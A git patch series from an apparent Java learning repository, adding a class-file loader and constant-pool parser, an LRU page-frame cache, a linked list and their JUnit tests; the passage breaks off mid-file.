diff --git a/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..117e999ba4
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.loader;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+    private static final int BUFFER_LENGTH = 1024;
+    public byte[] readBinaryCode(String className) {
+
+        File clzFile = new File(getClzPath(className));
+        FileInputStream fis = null;
+        ByteArrayOutputStream bos = null;
+        try {
+            fis = new FileInputStream(clzFile);
+            bos = new ByteArrayOutputStream();
+            int len = 0;
+            byte[] buf = new byte[BUFFER_LENGTH];
+            while(-1 !=(len = fis.read(buf))){
+                bos.write(buf,0,len);
+            }
+            bos.flush();
+            return bos.toByteArray();
+        } catch (FileNotFoundException e) {
+            e.printStackTrace();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }finally {
+            if(bos!=null){
+                try {
+                    bos.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }if(fis!=null){
+                try {
+                    fis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+
+
+    }
+
+    private String getClzPath(String className) {
+        String clzPath = this.getClassPath() +
+                className.replace(".","\\") +
+                ".class";
+        return clzPath;
+    }
+
+
+
+
+    public void addClassPath(String path) {
+        if(path==null){
+            throw new IllegalArgumentException();
+        }
+        clzPaths.add(path);
+    }
+
+
+
+    public String getClassPath(){
+        StringBuilder sb = new StringBuilder();
+        for(int i=0; i<clzPaths.size(); i++ ){
+            sb.append(clzPaths.get(i));
+            if(i<clzPaths.size()-1){
+                sb.append(";");
+            }
+        }
+
+        return sb.toString();
+
+    }
+
+
+
+
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..4f6277b757
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,124 @@
+package com.coderising.jvm.test;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class ClassFileloaderTest {
+
+
+    static String path1 = "E:\\2017\\coding2017\\group04\\349184132\\Study\\out\\";
+    static String path2 = "E:\temp";
+
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath(){
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1+";"+path2,clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "com.coderising.jvm.test.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1056, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber(){
+        ClassFileLoader loader;
+        loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+
+
+        String actualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", actualValue);
+    }
+    @Test
+    public void testPrint(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "com.coderising.jvm.test.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        int i = 1;
+        for (Byte b: byteCodes) {
+            System.out.print(b.toString()+" ");
+            if(i%16==0){
+                System.out.println();
+            }
+            i++;
+
+        }
+    }
+
+    @Test
+    public void testPrintHex(){
+        ClassFileLoader loader;
+        loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+
+        String actualValue = this.byteToHexString(byteCodes);
+        System.out.println(actualValue);
+
+    }
+
+
+
+
+
+
+    private String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java b/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..9778b07684
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.test;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+public class EmployeeV1 {
+
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+        this.age = age;
+    }
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+    public static void main(String[] args){
+        EmployeeV1 p = new EmployeeV1("Andy",29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/test/TestBytetoHex.java b/group04/349184132/Study/src/com/coderising/jvm/test/TestBytetoHex.java
new file mode 100644
index 0000000000..5f6d5f2d53
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/test/TestBytetoHex.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.test;
+
+/**
+ * Created by wang on 2017/3/29.
+ */
+public class TestBytetoHex {
+
+    public String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+    public static void main(String[] args) {
+        TestBytetoHex t = new TestBytetoHex();
+        byte[] b =  {-54};
+//        byte[] c = {0xca,0xcf}
+        String s = t.byteToHexString(b);
+        System.out.println(s);
+    }
+}
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java b/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..e70f4cfb79
--- /dev/null
+++ b/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,177 @@
+package src.com.coning.basic.linklist;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+public class LRUPageFrame {
+
+    private static class Node {
+
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node(int pageNum) {
+
+            this.pageNum = pageNum;
+        }
+    }
+
+    private int capacity;
+    private int size;
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+
+
+    public LRUPageFrame(int capacity) {
+
+        this.capacity = capacity;
+
+    }
+
+
+
+    public boolean contains(int pageNum){
+        Node cur = first;
+        while(cur != null){
+            if(pageNum == cur.pageNum){
+                return true;
+            }
+            cur = cur.next;
+        }
+        return false;
+    }
+
+    public boolean isFull(){
+        if(size==capacity){
+            return true;
+        }
+        return false;
+    }
+
+    private void isLegal(int pageNum){
+        if(pageNum<0){
+            throw new IllegalArgumentException();
+        }
+    }
+
+    /**
+     * 获取缓存中对象
+     *
+     * @param
+     * @return
+     */
+    public void access(int pageNum) {
+        isLegal(pageNum);
+        if(isFull()){
+            if(contains(pageNum)){
+                advance(pageNum);
+            }else{
+                removeLast();
+                addFirst(pageNum);
+            }
+        }else{
+            if(contains(pageNum)){
+                advance(pageNum);
+            }else{
+                add(pageNum);
+            }
+        }
+
+    }
+
+
+    /**
+     * 填充页面
+     * @param pageNum
+     */
+
+    private void add(int pageNum) {
+        if(isEmpty()){
+            Node node = new Node(pageNum);
+            first = node;
+            last = node;
+            size++;
+        }else{
+            Node node = new Node(pageNum);
+            Node oldfirst = first;
+            node.next = oldfirst;
+            oldfirst.prev = node;
+            first = node;
+            size++;
+        }
+    }
+
+    private boolean isEmpty() {
+        return size==0;
+    }
+
+    private void advance(int pageNum) {
+
+
+        if(pageNum==first.pageNum){
+
+        }else{
+            if(pageNum==last.pageNum){
+                removeLast();
+                addFirst(pageNum);
+            }else{
+                Node x = findNode(pageNum);
+                exchNum(x);
+            }
+        }
+
+    }
+
+    private void exchNum(Node x) {
+        int temp = first.pageNum;
+        first.pageNum = x.pageNum;
+        x.pageNum = temp;
+    }
+
+    private Node findNode(int pageNum) {
+        Node cur = first;
+        while(cur != null){
+            if(pageNum == cur.pageNum){
+                break;
+            }
+            cur = cur.next;
+        }
+        return cur;
+    }
+
+    private void addFirst(int pageNum) {
+        Node oldFirst = first;
+        Node newFirst = new Node(pageNum);
+
+        oldFirst.prev = newFirst;
+        newFirst.next = oldFirst;
+
+        first = newFirst;
+        size++;
+    }
+
+    private void removeLast() {
+        last = last.prev;
+        last.next = null;
+        size--;
+    }
+
+
+
+    public String toString(){
+        StringBuilder buffer = new StringBuilder();
+        Node node = first;
+        while(node != null){
+            buffer.append(node.pageNum);
+
+            node = node.next;
+            if(node != null){
+                buffer.append(",");
+            }
+        }
+        return buffer.toString();
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..409c5f461d
--- /dev/null
+++ b/group04/349184132/Study/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package src.com.coning.basic.linklist;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+
+    @Test
+    public void testAccess() {
+        LRUPageFrame frame = new LRUPageFrame(3);
+        frame.access(7);
+        frame.access(0);
+        frame.access(1);
+        Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        Assert.assertEquals("2,1,0", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,2,1", frame.toString());
+        frame.access(3);
+        Assert.assertEquals("3,0,2", frame.toString());
+        frame.access(0);
+        Assert.assertEquals("0,3,2", frame.toString());
+        frame.access(4);
+        Assert.assertEquals("4,0,3", frame.toString());
+    }
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java b/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..4cf6aa7635
--- /dev/null
+++ b/group04/349184132/Study/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,191 @@
+package com.coding.basic.linklist;
+
+import com.first.Iterator;
+import com.first.List;
+
+import java.util.Objects;
+
+/**
+ * Created by wang on 2017/3/27.
+ */
+public class LinkedList implements List {
+
+    private Node first;
+    private Node last;
+    private int size = 0;
+    public void add(Object o) {
+        if(isEmypty()){
+            Node node = new Node(o);
+            first = node;
+            last = node;
+            size++;
+        }else{
+            addLast(o);
+        }
+    }
+
+    public void add(int index, Object o) {
+        checkRange(index);
+        if(isEmypty()){
+            Node node = new Node(o);
+            first = node;
+            last = node;
+            size++;
+        }else{
+            if(index==0){
+                addFirst(o);
+            }else{
+                Node node = getNode(index);
+                Node newNode = new Node(o);
+                Node pre = node.pre;
+
+                pre.next = newNode;
+                newNode.pre = pre;
+                newNode.next = node;
+                node.pre = newNode;
+
+                size++;
+            }
+        }
+    }
+
+    private Node getNode(int index) {
+        Node node = first;
+        int count = 0;
+        while(count<index){
+            node = node.next;
+            count++;
+        }
+        return node;
+    }
+
+    private void checkRange(int index) {
+        if(index<0 || index >size-1){
+            throw new ArrayIndexOutOfBoundsException();
+        }
+    }
+
+    public Object get(int index) {
+        checkRange(index);
+        return  getNode(index).data;
+    }
+
+
+
+
+    public Object set(int index ,Object o){
+        checkRange(index);
+        Node node = getNode(index);
+        Object oldData = node.data;
+        node.data = o;
+        return oldData;
+    }
+
+    public Object remove(int index) {
+        checkRange(index);
+        if(index==0){
+            return removeFirst();
+        }else{
+            if(index==size-1){
+                return removeLast();
+            }else{
+                Node node = getNode(index);
+                Node pre = node.pre;
+                Node next = node.next;
+
+                pre.next = next;
+                next.pre = pre;
+                node.pre = null;
+                node.next = null;
+
+                return node.data;
+            }
+        }
+
+    }
+
+
+
+    public int size() {
+        return size;
+    }
+
+    public boolean isEmypty(){
+        return first==null || last == null;
+    }
+
+    public void addFirst(Object o) {
+        Node newFirst = new Node(o);
+        Node oldfirst = first;
+        newFirst.next = oldfirst;
+        first = newFirst;
+        size++;
+    }
+
+    public void addLast(Object o) {
+        Node oldLast = last;
+        Node node = new Node(o);
+        oldLast.next = node;
+        node.pre = oldLast;
+        last = node;
+        size++;
+    }
+
+    public Object removeFirst() {
+        Node oldFirst = first;
+        first = first.next;
+        size--;
+        return oldFirst.data;
+    }
+
+    public Object removeLast() {
+        Node oldLast = last;
+        last = last.pre;
+        size--;
+        return oldLast.data;
+    }
+
+    public boolean contain(Object o){
+        Node x = first;
+        while(x!=null){
+            if(Objects.deepEquals(x.data,o)){
+                return true;
+            }
+            x = x.next;
+        }
+        return false;
+    }
+
+    public Iterator iterator() {
+        return new LinkIterator();
+    }
+
+    private class LinkIterator implements Iterator{
+        private int cursor = 0;
+        @Override
+        public boolean hasNext() {
+            return cursor<size;
+        }
+
+        @Override
+        public Object next() {
+            if(cursor >= size){
+                throw new ArrayIndexOutOfBoundsException();
+            }
+            return get(cursor++);
+        }
+        public boolean remove(){
+            LinkedList.this.remove(cursor);
+            return true;
+        }
+    }
+    private static class Node {
+        Object data;
+        Node pre;
+        Node next;
+
+        public Node(Object data) {
+            this.data = data;
+        }
+    }
+}
\ No newline at end of file

From 6b34eda50b9c55d5977bf8907f8aff0d0bbd9d72 Mon Sep 17 00:00:00 2001
From: xiaobo <begin161109@163.com>
Date: Thu, 6 Apr 2017 19:43:19 +0800
Subject: [PATCH 045/262] update

0.0
---
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 ++
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 +++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 ++
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++++
 .../jvm/constant/MethodRefInfo.java           |  55 ++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +++
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 ++
 .../jvm/loader/ByteCodeIterator.java          |   5 +
 .../jvm/loader/ClassFileLoader.java           | 204 ++++++++-----
 .../jvm/loader/ClassFileParser.java           |  44 +++
 .../jvm/test/ClassFileloaderTest.java         | 288 +++++++++++-------
 .../com/coderising/jvm/test/EmployeeV1.java   |  27 +-
 .../src/com/coderising/jvm/util/Util.java     |  24 ++
 ...\347\233\230\346\214\207\344\273\244.docx" | Bin 11099 -> 0 bytes
 19 files changed, 820 insertions(+), 198 deletions(-)
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group04/349184132/Study/src/com/coderising/jvm/util/Util.java
 delete mode 100644 "group04/349184132/post/CPU\345\206\205\345\255\230\347\241\254\347\233\230\346\214\207\344\273\244.docx"

diff --git a/group04/349184132/Study/src/com/coderising/jvm/clz/AccessFlag.java b/group04/349184132/Study/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/clz/ClassFile.java b/group04/349184132/Study/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/clz/ClassIndex.java b/group04/349184132/Study/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/ClassInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantPool.java b/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/FieldRefInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/MethodRefInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/NullConstantInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group04/349184132/Study/src/com/coderising/jvm/constant/StringInfo.java b/group04/349184132/Study/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group04/349184132/Study/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
